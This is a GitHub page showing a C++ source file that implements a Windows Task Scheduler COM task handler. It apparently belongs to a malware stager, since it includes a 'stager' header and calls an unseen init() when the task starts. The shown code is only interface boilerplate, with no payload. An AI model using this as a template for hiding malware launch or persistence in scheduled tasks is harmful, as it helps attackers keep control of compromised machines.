-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathTaskHandler.cpp
88 lines (69 loc) · 1.52 KB
/
TaskHandler.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <initguid.h>
#include "TaskHandler.hpp"
#include <ObjIdl.h>
#include "stager/Common.h"
DEFINE_GUID(IID_ITaskHandler,
0x839d7762, 0x5121, 0x4009, 0x92, 0x34, 0x4f, 0x0d, 0x19, 0x39, 0x4f, 0x04);
CTaskHandler::CTaskHandler()
{
InterlockedIncrement(&m_nRefCount);
}
CTaskHandler::~CTaskHandler()
{
InterlockedDecrement(&m_nRefCount);
}
STDMETHODIMP CTaskHandler::Start(IUnknown* handler, BSTR data)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
init();
return S_OK;
}
STDMETHODIMP CTaskHandler::Stop(HRESULT* retCode)
{
ExitProcess(0);
return S_OK;
}
STDMETHODIMP CTaskHandler::Pause()
{
ExitProcess(0);
return S_OK;
}
STDMETHODIMP CTaskHandler::Resume()
{
return S_OK;
}
STDMETHODIMP CTaskHandler::QueryInterface(
_In_ REFIID riid,
_COM_Outptr_ LPVOID* ppv)
{
if (!ppv) { return E_INVALIDARG; }
if (IsEqualGUID(riid, IID_IUnknown))
{
*ppv = static_cast<IUnknown*>(this);
}
else if (IsEqualGUID(riid, IID_ITaskHandler))
{
*ppv = static_cast<ITaskHandler*>(this);
}
else {
*ppv = NULL;
return E_NOINTERFACE;
}
AddRef();
return S_OK;
}
STDMETHODIMP_(ULONG) CTaskHandler::AddRef()
{
return InterlockedIncrement(&m_nRefCount);
}
STDMETHODIMP_(ULONG) CTaskHandler::Release()
{
LONG nRefCount = 0;
nRefCount = InterlockedDecrement(&m_nRefCount);
if (nRefCount == 0) delete this;
return nRefCount;
}